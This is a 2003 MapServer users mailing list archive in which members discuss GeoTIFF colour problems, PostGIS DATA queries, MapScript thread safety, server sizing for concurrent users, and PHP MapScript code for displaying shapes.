mapserver isn't really an option for me at this time. But I was just encouraging Sean to keep it up, because it is very cool, and the kind of integration and value added to both products that shows how both products are so cool, and can be leveraged to make many great things. You've got a GUI based, pure OO mapfile editor embeded into an OO web based Content Management Framework, both are open source, and very cool. I dunno, but I thnk that is REALLY nice :) Cheers, J.F. -----Original Message----- From: Daniel Morissette [mailto:morissette at dmsolutions.ca] Sent: Tuesday, January 28, 2003 1:21 PM To: Mapserver-users at lists.gis.umn.edu Subject: Re: [Mapserver-users] For MapScript + Zope users, ZMapServer 0.3 Norman Vine wrote: > > I must confess that I am playing a bit of the 'devil's advocate' here > but what makes you suspect the 'script' version of mapserver > (I'm a bit playing devil's advocate too, but for the other party) Memory leaks and thread-safety issues are a problem only for the script versions because the mapserv CGI creates a new process everytime which automagically cleans up after itself, etc. (The same is true for PHP MapScript when used with PHP in CGI mode) > Is this just conjecture or is there evidence of a problem ? > No, I don't have evidence of any major problem, but I don't have evidence that everything is fine either... hence my doubts. ;) I can easily imagine that things like static buffers used in some libs like GDAL/OGR and possibly others (GD, freetype 1.3?) could cause us some grief in a persistent module. > If so, are we sure that this problem isn't exhibited by the 'C' version > too ? > Of course if there are problems they would be in the C code as well, actually they would come from the C code. Better-safe-than-sorry'ly yours Daniel -- ------------------------------------------------------------ Daniel Morissette morissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From cblack at CalAcademy.Org Tue Jan 28 10:57:19 2003 From: cblack at CalAcademy.Org (Chris Black) Date: Tue, 28 Jan 2003 10:57:19 -0800 Subject: [Mapserver-users] Windows tutorial available? References: <20030128180001.25250.56667.Mailman@lists.gis.umn.edu> Message-ID: <3E36D28F.3000309@calacademy.org> --------------080106000408050009010304 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Hello all. I've been working through the tutorial at http://terrasip.gis.umn.edu/projects/tutorial35/ , and it's useful, but I'm running on Windows and I think the Windows version would help me on some points. Clicking on http://128.101.73.80/projects/tutorial (given in http://mapserver.gis.umn.edu/doc36/demo_readme.html) gives a "Not Found" error, and going to http://128.101.73.80:82/projects/tutorial (which I picked up from http://mapserver.gis.umn.edu/doc35/demo_readme.html) give "connection refused". Is there in fact a Windows tutorial out there somewhere? Where? Thanks. -- Chris Black California Academy of Sciences --------------080106000408050009010304 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit Hello all.  I've been working through the tutorial at http://terrasip.gis.umn.edu/projects/tutorial35/ , and it's useful, but I'm running on Windows and I think the Windows version would help me on some points.  Clicking on http://128.101.73.80/projects/tutorial (given in http://mapserver.gis.umn.edu/doc36/demo_readme.html) gives a "Not Found" error, and going to http://128.101.73.80:82/projects/tutorial (which I picked up from http://mapserver.gis.umn.edu/doc35/demo_readme.html) give "connection refused".  Is there in fact a Windows tutorial out there somewhere?  Where?

Thanks.

-- Chris Black
California Academy of Sciences
--------------080106000408050009010304-- From ed at topozone.com Tue Jan 28 10:52:07 2003 From: ed at topozone.com (Ed McNierney) Date: Tue, 28 Jan 2003 13:52:07 -0500 Subject: [Mapserver-users] Raster geotiff turns background yellow Message-ID: <13858AA1A74F30419F319ACB66A9D1221F3BFC@mercator.topozone.com> Randy - Can you describe exactly what you did differently between those two images? Can you reproduce the problem with a single MAP file in which the troublesome layer is turned on and off via a LAYER= querystring parameter? I'm suspecting that the image itself is NOT the problem at all, but that the yellow is an artifact of something else that's happening at the same time. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242 -----Original Message----- From: randy james [mailto:rjames57 at yahoo.com] Sent: Tuesday, January 28, 2003 1:37 PM To: Mapserver Users Subject: RE: [Mapserver-users] Raster geotiff turns background yellow Hi List Well i am still having the problem of a projected geotiff file changing the output of the mapserver cgi: the background turns yellow. I've tried importing and than exporting the image through GRASS tiff2bw to ensure the file is grayscale upgraded to the remotesensing site version of GDAL 1.1.7.1 from the Mandrake 8.2 version of 1.1.7. The geotiff image seems to be exactly like the ones that do not cause the problem. i am including a couple of files from the tmp directory, one where the background is yellow and one where it is not. does anyone know what next i should check? --- Ed McNierney wrote: > Randy - > > Is it possible for you to make the GeoTIFF > available? Thanks. > > - Ed > > Ed McNierney > President and Chief Mapmaker > TopoZone.com / Maps a la carte, Inc. > 73 Princeton Street, Suite 305 > North Chelmsford, MA 01863 > ed at topozone.com > (978) 251-4242 > > -----Original Message----- > From: randy james [mailto:rjames57 at yahoo.com] > Sent: Monday, January 27, 2003 12:35 PM > To: Mapserver Users > Subject: Re: [Mapserver-users] Raster geotiff turns > background yellow > > > Hi List > > I checked the geotiff file in the GIMP and it did > not > have any yellow in the image. But than i checked the > image created by Mapserver and it has the yellow > background on it. Soo i assume that the cgi is > creating the yellow. Also i noticed that the polygon > layer loaded before the geotiff has changed to the > grayscale color of the geotiff. > > I am sending the rendered imaged created by > mapserver > cgi for review. > > Cheers > Randy > > --- woodbri at swoodbridge.com wrote: > > Randy, > > > > I assume that the color change is taking place > when > > view in a > > browser? Have you tried to view it in an image > > viewer? > > > > Sometimes the browser pre allocates an bunch of > > colors and when you > > load the geotiff, it does not have enough slots in > > the color lookup > > table and has to assign the additional colors to > > existing ones. Some > > software is better at this than others, but it is > > typically the > > reason why your get the type of color change you > > described. > > > > -Steve W. > > > > On 24 Jan 2003 at 14:51, randy james wrote: > > > > > Hi list > > > > > > Has anyone experienced problems with a geotiff > > file > > > making the image background turn yellow? (or any > > > color) > > > > > > The orthophoto (geotiff) that causes the problem > > is my > > > fist attempt at projecting a raster on the fly. > I > > have > > > tried importing the ortho into GRASS and than > > > exporting it again, but it did not make a > > difference. > > > > > > The gdalinfo utility output is quite large for > the > > > ortho causing the problem, but once its exported > > from > > > GRASS it is the same as the orthos that work (i > > think) > > > > > > I'm wondering if its something to to with > > projecting a > > > raster or is it the file format. I will read > and > > try > > > the gdal_translate utility next i guess > > > > > > MapServer version 3.6.4 OUTPUT=PNG OUTPUT=JPEG > > > OUTPUT=WBMP SUPPORTS=PROJ SUPPORTS=TTF > > > SUPPORTS=WMS_SERVER INPUT EPPL7 INPUT=JPEG > > > INPUT=POSTGIS INPUT=GDAL INPUT=SHAPEFILE > > > > > > Cheers > > > Randy > > > > > > > > > > __________________________________________________ > > > Do you Yahoo!? > > > Yahoo! Mail Plus - Powerful. Affordable. Sign up > > now. > > > http://mailplus.yahoo.com > > > _______________________________________________ > > > Mapserver-users mailing list > > > Mapserver-users at lists.gis.umn.edu > > > > > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > > > > > > _______________________________________________ > > Mapserver-users mailing list > > Mapserver-users at lists.gis.umn.edu > > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > __________________________________________________ > Do you Yahoo!? > Yahoo! Mail Plus - Powerful. Affordable. Sign up > now. > http://mailplus.yahoo.com > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users __________________________________________________ Do you Yahoo!? Yahoo! Mail Plus - Powerful. Affordable. Sign up now. http://mailplus.yahoo.com From mark.cave-ayland at webbased.co.uk Tue Jan 28 11:01:17 2003 From: mark.cave-ayland at webbased.co.uk (Mark Cave-Ayland) Date: Tue, 28 Jan 2003 19:01:17 -0000 Subject: [Mapserver-users] Raster geotiff turns background yellow Message-ID: Hi Randy, I remember reading on the list that the GD v1 library used by mapserver is limited to 256 colours - so maybe you are seeing a result of mapserver attempting to reduce the colour depth of your image? Mapserver 3.7 uses GD v2 which may solve the problem. Hope this helps, Mark. --- Mark Cave-Ayland Webbased Ltd. Tamar Science Park Derriford Plymouth PL6 8BX England Tel: +44 (0)1752 764445 Fax: +44 (0)1752 764446 This email and any attachments are confidential to the intended recipient and may also be privileged. If you are not the intended recipient please delete it from your system and notify the sender. You should not copy it or use it for any purpose nor disclose or distribute its contents to any other person. > -----Original Message----- > From: randy james [mailto:rjames57 at yahoo.com] > Sent: 28 January 2003 18:37 > To: Mapserver Users > Subject: RE: [Mapserver-users] Raster geotiff turns background yellow > > Hi List > > Well i am still having the problem of a projected > geotiff file changing the output of the mapserver cgi: > the background turns yellow. > > I've tried > > importing and than exporting the image through GRASS > > tiff2bw to ensure the file is grayscale > > upgraded to the remotesensing site version of GDAL > 1.1.7.1 from the Mandrake 8.2 version of 1.1.7. > > The geotiff image seems to be exactly like the ones > that do not cause the problem. > > i am including a couple of files from the tmp > directory, one where the background is yellow and one > where it is not. > > does anyone know what next i should check? > > --- Ed McNierney wrote: > > Randy - > > > > Is it possible for you to make the GeoTIFF > > available? Thanks. > > > > - Ed > > > > Ed McNierney > > President and Chief Mapmaker > > TopoZone.com / Maps a la carte, Inc. > > 73 Princeton Street, Suite 305 > > North Chelmsford, MA 01863 > > ed at topozone.com > > (978) 251-4242 > > > > -----Original Message----- > > From: randy james [mailto:rjames57 at yahoo.com] > > Sent: Monday, January 27, 2003 12:35 PM > > To: Mapserver Users > > Subject: Re: [Mapserver-users] Raster geotiff turns > > background yellow > > > > > > Hi List > > > > I checked the geotiff file in the GIMP and it did > > not > > have any yellow in the image. But than i checked the > > image created by Mapserver and it has the yellow > > background on it. Soo i assume that the cgi is > > creating the yellow. Also i noticed that the polygon > > layer loaded before the geotiff has changed to the > > grayscale color of the geotiff. > > > > I am sending the rendered imaged created by > > mapserver > > cgi for review. > > > > Cheers > > Randy > > > > --- woodbri at swoodbridge.com wrote: > > > Randy, > > > > > > I assume that the color change is taking place > > when > > > view in a > > > browser? Have you tried to view it in an image > > > viewer? > > > > > > Sometimes the browser pre allocates an bunch of > > > colors and when you > > > load the geotiff, it does not have enough slots in > > > the color lookup > > > table and has to assign the additional colors to > > > existing ones. Some > > > software is better at this than others, but it is > > > typically the > > > reason why your get the type of color change you > > > described. > > > > > > -Steve W. > > > > > > On 24 Jan 2003 at 14:51, randy james wrote: > > > > > > > Hi list > > > > > > > > Has anyone experienced problems with a geotiff > > > file > > > > making the image background turn yellow? (or any > > > > color) > > > > > > > > The orthophoto (geotiff) that causes the problem > > > is my > > > > fist attempt at projecting a raster on the fly. > > I > > > have > > > > tried importing the ortho into GRASS and than > > > > exporting it again, but it did not make a > > > difference. > > > > > > > > The gdalinfo utility output is quite large for > > the > > > > ortho causing the problem, but once its exported > > > from > > > > GRASS it is the same as the orthos that work (i > > > think) > > > > > > > > I'm wondering if its something to to with > > > projecting a > > > > raster or is it the file format. I will read > > and > > > try > > > > the gdal_translate utility next i guess > > > > > > > > MapServer version 3.6.4 OUTPUT=PNG OUTPUT=JPEG > > > > OUTPUT=WBMP SUPPORTS=PROJ SUPPORTS=TTF > > > > SUPPORTS=WMS_SERVER INPUT EPPL7 INPUT=JPEG > > > > INPUT=POSTGIS INPUT=GDAL INPUT=SHAPEFILE > > > > > > > > Cheers > > > > Randy > > > > > > > > > > > > > > __________________________________________________ > > > > Do you Yahoo!? > > > > Yahoo! Mail Plus - Powerful. Affordable. Sign up > > > now. > > > > http://mailplus.yahoo.com > > > > _______________________________________________ > > > > Mapserver-users mailing list > > > > Mapserver-users at lists.gis.umn.edu > > > > > > > > > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > > > > > > > > > > _______________________________________________ > > > Mapserver-users mailing list > > > Mapserver-users at lists.gis.umn.edu > > > > > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > __________________________________________________ > > Do you Yahoo!? > > Yahoo! Mail Plus - Powerful. Affordable. Sign up > > now. > > http://mailplus.yahoo.com > > > > _______________________________________________ > > Mapserver-users mailing list > > Mapserver-users at lists.gis.umn.edu > > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > __________________________________________________ > Do you Yahoo!? > Yahoo! Mail Plus - Powerful. Affordable. Sign up now. > http://mailplus.yahoo.com From jmmichia at ciudad.com.ar Tue Jan 28 11:04:08 2003 From: jmmichia at ciudad.com.ar (=?iso-8859-1?Q?Jos=E9_Mar=EDa_Michia?=) Date: Tue, 28 Jan 2003 16:04:08 -0300 Subject: [Mapserver-users] DATA Message-ID: <001501c2c700$092d3400$df02a8c0@pm.rosario.gov.ar> This is a multi-part message in MIME format. ------=_NextPart_000_0012_01C2C6E6.E38EF5D0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi! I have a problem with the DATA field. This SELECT work fine in PSQL: SELECT ejes.the_geom AS the_geom, ejes.oid AS oid, ejes.mslink AS mslink = FROM ejes_nodos LEFT JOIN ejes ON ejes_nodos.mslink =3D ejes.mslink This retrieve 385 rows (with a geometry field). But this, in a MAP file, produce a blank map: DATA "the_geom from (SELECT ejes.the_geom AS the_geom, ejes.oid AS = oid, ejes.mslink AS mslink FROM ejes_nodos LEFT JOIN ejes ON = ejes_nodos.mslink =3D ejes.mslink) as newable using unique oid using = srid=3D'-1'" Wath happens? Thanks! Jos=E9 Mar=EDa Michia ------=_NextPart_000_0012_01C2C6E6.E38EF5D0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hi!
I have a problem with the DATA field. = This SELECT=20 work fine in PSQL:
 
SELECT ejes.the_geom AS the_geom, = ejes.oid AS oid,=20 ejes.mslink AS mslink FROM ejes_nodos LEFT JOIN ejes ON = ejes_nodos.mslink =3D=20 ejes.mslink
 
This retrieve 385 rows (with a = geometry=20 field).
 
But this, in a MAP file, produce a = blank=20 map:
 
  DATA "the_geom from (SELECT = ejes.the_geom AS=20 the_geom, ejes.oid AS oid, ejes.mslink AS mslink FROM ejes_nodos LEFT = JOIN ejes=20 ON ejes_nodos.mslink =3D ejes.mslink) as newable using unique oid using=20 srid=3D'-1'"
Wath happens? Thanks!
Jos=E9 Mar=EDa = Michia
------=_NextPart_000_0012_01C2C6E6.E38EF5D0-- From steve at sierraclubbc.org Tue Jan 28 11:07:40 2003 From: steve at sierraclubbc.org (Steve Young) Date: Tue, 28 Jan 2003 11:07:40 -0800 Subject: [Mapserver-users] Hosting mapserver Message-ID: Hi, I'm planning to launch a new mapserver site in a couple of weeks. I have it running on RH 7.2, Apache 1.3x Mapserver 3.6. The box is a Duron 950 with 256Mb RAM and 7200rpm ide drive. When it's just me on the site most images pop up in less than a second. I'd like to give the client some idea how many simultaneous users the site can comfortably support. Does anyone have a similar set up running? TIA, Steve From rjames57 at yahoo.com Tue Jan 28 11:13:11 2003 From: rjames57 at yahoo.com (randy james) Date: Tue, 28 Jan 2003 11:13:11 -0800 (PST) Subject: [Mapserver-users] Raster geotiff turns background yellow In-Reply-To: Message-ID: <20030128191311.89189.qmail@web12505.mail.yahoo.com> Hi I was looking for a link to download mapserver 3.7 and cannot find it on the download page. Is it the nightly version? or the cvs? Cheers Randy --- Mark Cave-Ayland wrote: > Hi Randy, > > I remember reading on the list that the GD v1 > library used by mapserver > is limited to 256 colours - so maybe you are seeing > a result of > mapserver attempting to reduce the colour depth of > your image? Mapserver > 3.7 uses GD v2 which may solve the problem. > > > Hope this helps, > > Mark. > > > --- > > Mark Cave-Ayland > Webbased Ltd. > Tamar Science Park > Derriford > Plymouth > PL6 8BX > England > > __________________________________________________ Do you Yahoo!? Yahoo! Mail Plus - Powerful. Affordable. Sign up now. http://mailplus.yahoo.com From ed at topozone.com Tue Jan 28 11:26:01 2003 From: ed at topozone.com (Ed McNierney) Date: Tue, 28 Jan 2003 14:26:01 -0500 Subject: [Mapserver-users] Hosting mapserver Message-ID: <13858AA1A74F30419F319ACB66A9D1220195B1@mercator.topozone.com> Steve - You're asking an extremely complicated question. If you want the real answer, you'll need to do some stress/load testing with examples of the actual data set you're dealing with. The organization and structure of your data sets have a MAJOR impact on MapServer performance, so it's impossible to answer the question without knowing a lot about the application. Here are some things to think about. I'm not trying to be difficult, but your question is basically unanswerable without a lot more research and/or testing. You can break these into two categories - factors which affect the response time for a single map request, and factors which affect the response time for multiple simultaneous map requests. Single Map Request ====== === ======= How large are your data sets? If the data is such that it's mostly or entirely cached in RAM, that's very good. How many layers do you use? Are the vector layers indexed (shptree)? If you're using raster layers, are they sampled appropriately? Will users zoom in and out on your data or will they mostly be scrolling around at one zoom scale? Have you carefully set minscale and maxscale settings so you're not drawing too much data? Simultaneous Requests ============ ======== What is MapServer's working set to create a single map (this will depend on how it's built and on your data)? The more memory a single MapServer instance requires, the fewer simultaneous users you can support before you start swapping. Are you running on a single IDE drive? If so, you're going to get into trouble quickly, and if you start swapping you're doomed. Is this a dedicated machine running only MapServer and associated HTML pages? Is this application on a system we can look at? If so, you'll probably get better input and comments. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242 -----Original Message----- From: Steve Young [mailto:steve at sierraclubbc.org] Sent: Tuesday, January 28, 2003 2:08 PM To: Mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] Hosting mapserver Hi, I'm planning to launch a new mapserver site in a couple of weeks. I have it running on RH 7.2, Apache 1.3x Mapserver 3.6. The box is a Duron 950 with 256Mb RAM and 7200rpm ide drive. When it's just me on the site most images pop up in less than a second. I'd like to give the client some idea how many simultaneous users the site can comfortably support. Does anyone have a similar set up running? TIA, Steve _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From lfilak at medinaco.org Tue Jan 28 11:29:30 2003 From: lfilak at medinaco.org (Lowell Filak) Date: Tue, 28 Jan 2003 14:29:30 -0500 Subject: [Mapserver-users] displaying certain shape with php-mapscript Message-ID: <200301281925.h0SJPqR06914@yogi.medinaco.net> Unless I'm mistaken the shapeObj only holds a single shape at a time. In order to hold several shapes you need to either stick each shape into a shapefile or addFeature to an existing layer as the routine loops through all the shapes. HTH Lowell F. The following message was sent by "Jim Burnett" on Tue, 28 Jan 2003 13:14:17 -0500. > Currently I have code that will display a shape by a given field in the > shape file. What I would like to do now is display multiple polygons > together. > Here is the code I have now.... > Basically I am getting a polygon/shape where the block fielddata equals > 28. The thing is, is there are lile 174 shapes with that block number, > but it only display 1. > > > $mapObj->set("width",$img_width); > $mapObj->set("height",$img_height); > > $layObj=$mapObj->getLayer($parcelLayer); > $layObj->set( "filteritem", "BLOCK" ); > $layObj->setFilter ("/28/"); > $layObj->queryByAttributes($mapObj, 0); > $numx = $layObj->getNumResults(); > for($i=0; $i < $layObj->getNumResults(); $i++) { > $result = $layObj->getResult($i) ; > $layObj->open($mapObj->shapepath); > $shapeObj = $layObj->getShape( $result->tileindex, > $result->shapeindex ); > } > $layerObj->set("status",1); > > $shapeExtObj = $shapeObj->bounds; > $minx = $shapeExtObj->minx; > $miny = $shapeExtObj->miny; > $maxx = $shapeExtObj->maxx; > $maxy = $shapeExtObj->maxy; > $mapObj->setExtent( $minx, $miny, $maxx, $maxy); > $img = $mapObj->draw(); > From steve at sierraclubbc.org Tue Jan 28 12:57:42 2003 From: steve at sierraclubbc.org (Steve Young) Date: Tue, 28 Jan 2003 12:57:42 -0800 Subject: [Mapserver-users] Hosting mapserver In-Reply-To: <13858AA1A74F30419F319ACB66A9D1220195B1@mercator.topozone.com> Message-ID: Thanks for the input Ed, I was going to post the site to the list in a couple of weeks once it was complete, but I'm happy to take a few hits now. Any and all advice is appreciated. http://scbc.dyndns.org. It is based on Steve Lime's DHTML landview site. Thanks to Paul Ramsey at Refractions and Steve Lime for their help. All the bits that are ugly, don't work, or cause a grimace are mine. We represent two enviro non-profit groups so Mapserver has been the best and virtually only route that we could use to develop and provide web-mapping within our community. So thanks also to all the open source developers that support Mapserver. All the vector data is in shapefiles. Images are tiff and png. They're all indexed and where size of frequently accessed files exceeded 5-50Mb I've used tiles. There's more data than could be held in RAM (around 4Gig). I think I have it reasonably optimised for speed, though I welcome any suggestions to make it faster. Re - max-minscale. It uses three principle datasets 1:2mil 1:250k and 1:50k so there's a bit of stretching in places. The box's only job is to host Mapserver. This is the only site it's hosting, but depending on it's capacity more may be added. Users are free to zoom and pan to any scale within the mapfile limit so image caching isn't used. I'm getting out of my depth measuring multi-user requests. Looking at the processes while Mapserver requests are being run there doesn't appear to be an appreciable hit on memory (I don't know how to measure the exact usage). CPU usage looks to be around 5-10%. Does this mean that CPU is more of a constraint than memory? The site's target audience is small so my goal is to have a server that will handle 10 concurrent users. Steve -----Original Message----- From: Ed McNierney [mailto:ed at topozone.com] Sent: Tuesday, January 28, 2003 11:26 AM To: Steve Young; Mapserver-users at lists.gis.umn.edu Subject: RE: [Mapserver-users] Hosting mapserver Steve - You're asking an extremely complicated question. If you want the real answer, you'll need to do some stress/load testing with examples of the actual data set you're dealing with. The organization and structure of your data sets have a MAJOR impact on MapServer performance, so it's impossible to answer the question without knowing a lot about the application. Here are some things to think about. I'm not trying to be difficult, but your question is basically unanswerable without a lot more research and/or testing. You can break these into two categories - factors which affect the response time for a single map request, and factors which affect the response time for multiple simultaneous map requests. Single Map Request ====== === ======= How large are your data sets? If the data is such that it's mostly or entirely cached in RAM, that's very good. How many layers do you use? Are the vector layers indexed (shptree)? If you're using raster layers, are they sampled appropriately? Will users zoom in and out on your data or will they mostly be scrolling around at one zoom scale? Have you carefully set minscale and maxscale settings so you're not drawing too much data? Simultaneous Requests ============ ======== What is MapServer's working set to create a single map (this will depend on how it's built and on your data)? The more memory a single MapServer instance requires, the fewer simultaneous users you can support before you start swapping. Are you running on a single IDE drive? If so, you're going to get into trouble quickly, and if you start swapping you're doomed. Is this a dedicated machine running only MapServer and associated HTML pages? Is this application on a system we can look at? If so, you'll probably get better input and comments. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242 -----Original Message----- From: Steve Young [mailto:steve at sierraclubbc.org] Sent: Tuesday, January 28, 2003 2:08 PM To: Mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] Hosting mapserver Hi, I'm planning to launch a new mapserver site in a couple of weeks. I have it running on RH 7.2, Apache 1.3x Mapserver 3.6. The box is a Duron 950 with 256Mb RAM and 7200rpm ide drive. When it's just me on the site most images pop up in less than a second. I'd like to give the client some idea how many simultaneous users the site can comfortably support. Does anyone have a similar set up running? TIA, Steve _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From rjames57 at yahoo.com Tue Jan 28 13:30:12 2003 From: rjames57 at yahoo.com (randy james) Date: Tue, 28 Jan 2003 13:30:12 -0800 (PST) Subject: [Mapserver-users] Raster geotiff turns background yellow In-Reply-To: <13858AA1A74F30419F319ACB66A9D1221F3BFC@mercator.topozone.com> Message-ID: <20030128213012.26496.qmail@web12507.mail.yahoo.com> Hi --- Ed McNierney wrote: > Randy - > > Can you describe exactly what you did differently > between those two images? > Well the difference is: the tif that does not work has: a 256 RGB, colorinterp=palette, is projected on the fly, and is a newer version of an orthophoto. I have used tiff2bw and gdal_translate to make it grayscale, so i have a few versions of the file (5), and all make the same error. > Can you reproduce the problem with a single MAP file > in which the troublesome layer is turned on and off > via a LAYER= querystring parameter? > I tried with one layer and the background mapserver generates is a gray color. Another thing the troublesome layer is just a test before i load all the others in the set (60 orthophotos in aoa, and 49 already loaded in utm projection) > I'm suspecting that the image itself is NOT the > problem at all, but that the yellow is an artifact > of something else that's happening at the same time. > > - Ed > > Ed McNierney > President and Chief Mapmaker > TopoZone.com / Maps a la carte, Inc. > 73 Princeton Street, Suite 305 > North Chelmsford, MA 01863 > ed at topozone.com > (978) 251-4242 > > -----Original Message----- > From: randy james [mailto:rjames57 at yahoo.com] > Sent: Tuesday, January 28, 2003 1:37 PM > To: Mapserver Users > Subject: RE: [Mapserver-users] Raster geotiff turns > background yellow > > > Hi List > > Well i am still having the problem of a projected > geotiff file changing the output of the mapserver > cgi: > the background turns yellow. > > I've tried > > importing and than exporting the image through > GRASS > > tiff2bw to ensure the file is grayscale > > upgraded to the remotesensing site version of GDAL > 1.1.7.1 from the Mandrake 8.2 version of 1.1.7. > > The geotiff image seems to be exactly like the ones > that do not cause the problem. > > i am including a couple of files from the tmp > directory, one where the background is yellow and > one > where it is not. > > does anyone know what next i should check? > > --- Ed McNierney wrote: > > Randy - > > > > Is it possible for you to make the GeoTIFF > > available? Thanks. > > > > - Ed > > > > Ed McNierney > > President and Chief Mapmaker > > TopoZone.com / Maps a la carte, Inc. > > 73 Princeton Street, Suite 305 > > North Chelmsford, MA 01863 > > ed at topozone.com > > (978) 251-4242 > > > > -----Original Message----- > > From: randy james [mailto:rjames57 at yahoo.com] > > Sent: Monday, January 27, 2003 12:35 PM > > To: Mapserver Users > > Subject: Re: [Mapserver-users] Raster geotiff > turns > > background yellow > > > > > > Hi List > > > > I checked the geotiff file in the GIMP and it did > > not > > have any yellow in the image. But than i checked > the > > image created by Mapserver and it has the yellow > > background on it. Soo i assume that the cgi is > > creating the yellow. Also i noticed that the > polygon > > layer loaded before the geotiff has changed to the > > grayscale color of the geotiff. > > > > I am sending the rendered imaged created by > > mapserver > > cgi for review. > > > > Cheers > > Randy > > > > --- woodbri at swoodbridge.com wrote: > > > Randy, > > > > > > I assume that the color change is taking place > > when > > > view in a > > > browser? Have you tried to view it in an image > > > viewer? > > > > > > Sometimes the browser pre allocates an bunch of > > > colors and when you > > > load the geotiff, it does not have enough slots > in > > > the color lookup > > > table and has to assign the additional colors to > > > existing ones. Some > > > software is better at this than others, but it > is > > > typically the > > > reason why your get the type of color change you > > > described. > > > > > > -Steve W. > > > > > > On 24 Jan 2003 at 14:51, randy james wrote: > > > > > > > Hi list > > > > > > > > Has anyone experienced problems with a geotiff > > > file > > > > making the image background turn yellow? (or > any > > > > color) > > > > > > > > The orthophoto (geotiff) that causes the > problem > > > is my > > > > fist attempt at projecting a raster on the > fly. > > I > > > have > > > > tried importing the ortho into GRASS and than > > > > exporting it again, but it did not make a > > > difference. > > > > > > > > The gdalinfo utility output is quite large for > > the > > > > ortho causing the problem, but once its > exported > > > from > > > > GRASS it is the same as the orthos that work > (i > > > think) > > > > > > > > I'm wondering if its something to to with > > > projecting a > > > > raster or is it the file format. I will read > > and > > > try > > > > the gdal_translate utility next i guess > > > > > > > > MapServer version 3.6.4 OUTPUT=PNG OUTPUT=JPEG > > > > OUTPUT=WBMP SUPPORTS=PROJ SUPPORTS=TTF > > > > SUPPORTS=WMS_SERVER INPUT EPPL7 INPUT=JPEG > > > > INPUT=POSTGIS INPUT=GDAL INPUT=SHAPEFILE > > > > > > > > Cheers > > > > Randy > > > > > > > > > > > > > > __________________________________________________ > > > > Do you Yahoo!? > > > > Yahoo! Mail Plus - Powerful. Affordable. Sign > up > > > now. > > > > http://mailplus.yahoo.com > > > > > _______________________________________________ > > > > Mapserver-users mailing list > > > > Mapserver-users at lists.gis.umn.edu > > > > > > > > > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > > > > > > > > > > _______________________________________________ > > > Mapserver-users mailing list > > > Mapserver-users at lists.gis.umn.edu > > > > > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > __________________________________________________ > > Do you Yahoo!? > > Yahoo! Mail Plus - Powerful. Affordable. Sign up > === message truncated === __________________________________________________ Do you Yahoo!? Yahoo! Mail Plus - Powerful. Affordable. Sign up now. http://mailplus.yahoo.com From DMartin at erac.com Tue Jan 28 13:38:53 2003 From: DMartin at erac.com (Martin, Daniel) Date: Tue, 28 Jan 2003 15:38:53 -0600 Subject: [Mapserver-users] Hosting mapserver Message-ID: <4ACBA1414DD9EE418CC250E4AAA9035A192BB2@STL-EXBE-I03.corp.erac.com> Just wanted to say your MapServer client is great. And your maps look very good (ugly maps are a pet peeve of mine, and they are all too common). Well done. It really screams - as long as you don't turn on the rasters. The raster layer does tend to slow it down. I would be surprised if it would has any problem at all with 10 concurrent users. I've put a ton of work into my Rosa based MapServer client. But your app really makes me want to switch to DHTML. It runs much smoother, and alleviates some of the headaches I'm experiencing with Rosa. -Dan -----Original Message----- From: Steve Young [mailto:steve at sierraclubbc.org] Sent: Tuesday, January 28, 2003 2:58 PM To: Ed McNierney; Mapserver-users at lists.gis.umn.edu Subject: RE: [Mapserver-users] Hosting mapserver Thanks for the input Ed, I was going to post the site to the list in a couple of weeks once it was complete, but I'm happy to take a few hits now. Any and all advice is appreciated. http://scbc.dyndns.org. It is based on Steve Lime's DHTML landview site. Thanks to Paul Ramsey at Refractions and Steve Lime for their help. All the bits that are ugly, don't work, or cause a grimace are mine. We represent two enviro non-profit groups so Mapserver has been the best and virtually only route that we could use to develop and provide web-mapping within our community. So thanks also to all the open source developers that support Mapserver. All the vector data is in shapefiles. Images are tiff and png. They're all indexed and where size of frequently accessed files exceeded 5-50Mb I've used tiles. There's more data than could be held in RAM (around 4Gig). I think I have it reasonably optimised for speed, though I welcome any suggestions to make it faster. Re - max-minscale. It uses three principle datasets 1:2mil 1:250k and 1:50k so there's a bit of stretching in places. The box's only job is to host Mapserver. This is the only site it's hosting, but depending on it's capacity more may be added. Users are free to zoom and pan to any scale within the mapfile limit so image caching isn't used. I'm getting out of my depth measuring multi-user requests. Looking at the processes while Mapserver requests are being run there doesn't appear to be an appreciable hit on memory (I don't know how to measure the exact usage). CPU usage looks to be around 5-10%. Does this mean that CPU is more of a constraint than memory? The site's target audience is small so my goal is to have a server that will handle 10 concurrent users. Steve -----Original Message----- From: Ed McNierney [mailto:ed at topozone.com] Sent: Tuesday, January 28, 2003 11:26 AM To: Steve Young; Mapserver-users at lists.gis.umn.edu Subject: RE: [Mapserver-users] Hosting mapserver 